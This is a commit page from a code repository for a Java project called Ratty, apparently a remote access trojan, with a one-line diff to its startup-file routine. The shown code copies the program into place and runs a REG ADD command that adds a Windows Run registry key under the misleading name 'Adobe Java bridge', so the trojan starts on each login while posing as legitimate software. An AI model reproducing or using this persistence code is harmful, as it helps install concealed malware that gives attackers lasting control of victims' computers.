Browse Source

Minor changes

Fixed a small bug when creating startup file
master
Sogomn 9 years ago
parent
commit
7b6a704d53
  1. 1
      Ratty/src/de/sogomn/rat/Ratty.java

1
Ratty/src/de/sogomn/rat/Ratty.java

@ -55,6 +55,7 @@ public final class Ratty {
final File destination = new File(destinationPath);
final String registryCommand = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + destinationPath + "\"";
FileUtils.createFile(destinationPath);
FileUtils.copy(source, destination);
Runtime.getRuntime().exec(registryCommand);
} catch (final URISyntaxException | IOException ex) {

Loading…
Cancel
Save